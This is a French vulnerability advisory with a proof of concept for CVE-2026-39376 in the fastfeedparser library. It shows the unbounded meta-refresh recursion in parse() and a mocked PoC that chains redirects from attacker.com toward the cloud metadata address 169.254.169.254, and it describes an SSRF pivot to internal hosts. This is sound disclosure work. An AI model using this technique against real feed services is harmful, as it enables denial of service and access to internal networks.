
Preuve de concept pour CVE-2026-39376, démontrant une boucle de redirection infinie par déni de service via des chaînes de meta-refresh dans fastfeedparser, avec un potentiel d'enchaînement SSRF.
CVE-2026-39376 (Déni de service par boucle de redirection infinie via une chaîne de meta-refresh)
Lorsque parse() récupère une URL qui renvoie une page HTML contenant une balise <meta http-equiv="refresh">, elle s'appelle récursivement avec l'URL de redirection — sans limite de profondeur, sans déduplication des URL déjà visitées et sans plafond de nombre de redirections. Un serveur contrôlé par un attaquant qui renvoie une chaîne infinie de réponses HTML meta-refresh provoque une récursion illimitée, épuisant la pile d'appels Python et faisant planter le processus. Cette vulnérabilité peut également être enchaînée avec le problème SSRF associé pour atteindre des cibles du réseau interne après avoir contourné la vérification initiale de l'URL.
parse() intercepte ValueError en cas d'échec d'analyse XML, extrait une URL meta-refresh de la réponse HTML via _extract_meta_refresh_url(), puis s'appelle en queue de récursion avec cette URL. L'appel récursif est inconditionnel — il n'y a ni profondeur maximale de redirection, ni ensemble d'URL déjà visitées, ni garde contre les redirections auto-référentielles ou en boucle.
fastfeedparser/main.py — parse() (puits récursif) :
def parse(source: str | bytes, ...) -> FastFeedParserDict:
is_url = isinstance(source, str) and source.startswith(("http://", "https://"))
if is_url:
content = _fetch_url_content(source)
try:
return _parse_content(content, ...)
except ValueError as e:
...
redirect_url = _extract_meta_refresh_url(content, source)
if redirect_url is None:
raise
return parse(redirect_url, ...) # ← récursion inconditionnelle, sans limite de profondeur
_extract_meta_refresh_url() utilise urljoin(base_url, match.group(1)), donc les URL relatives, relatives au protocole (//hôte/chemin) et absolues dans l'attribut content= sont toutes suivies.
Aucun serveur en direct requis. Le code suivant remplace _fetch_url_content par une fonction qui renvoie une chaîne infinie de meta-refresh HTML et confirme la récursion illimitée :
import fastfeedparser.main as m
call_count = 0
_orig = m._fetch_url_content
def mock_fetch(url):
global call_count
call_count += 1
if call_count > 10:
raise RuntimeError(f"Stopped at call {call_count}")
next_url = f"http://169.254.169.254/step{call_count}/"
return f"""<html><head>
<meta http-equiv="refresh" content="0; url={next_url}">
</head><body>not a feed</body></html>""".encode()
m._fetch_url_content = mock_fetch
try:
m.parse("http://attacker.com/loop")
except RuntimeError as e:
print(f"CONFIRMED infinite loop: {e}")
finally:
m._fetch_url_content = _orig
print(f"Total fetches before stop: {call_count}")
# Output:
# CONFIRMED infinite loop: Stopped at call 11
# Total fetches before stop: 11
Chaque appel récursif effectue une véritable requête HTTP (délai d'expiration de 30 s), une analyse HTML et une allocation de cadre de pile Python. Avec la limite de récursion par défaut de Python de 1000 et un délai d'expiration de 30 s par requête, une seule requête d'un attaquant peut occuper un thread serveur pendant jusqu'à ~8 heures avant qu'une RecursionError ne soit levée.
Variante d'enchaînement SSRF : La première réponse peut être un HTML légitime redirigeant vers une adresse interne (http://192.168.1.1/), permettant ainsi à la boucle de redirection de servir également de contournement SSRF pour des cibles qui seraient autrement bloquées par une validation d'URL au niveau applicatif appliquée uniquement à l'URL initiale.
Il s'agit d'une vulnérabilité de déni de service avec un impact secondaire d'enchaînement SSRF. Toute application qui accepte des URL de flux fournies par l'utilisateur et appelle fastfeedparser.parse() est concernée — y compris les agrégateurs RSS, les services d'aperçu de flux et les fonctionnalités « s'abonner par URL ». Un attaquant sans authentification peut :
RecursionError après ~1000 redirections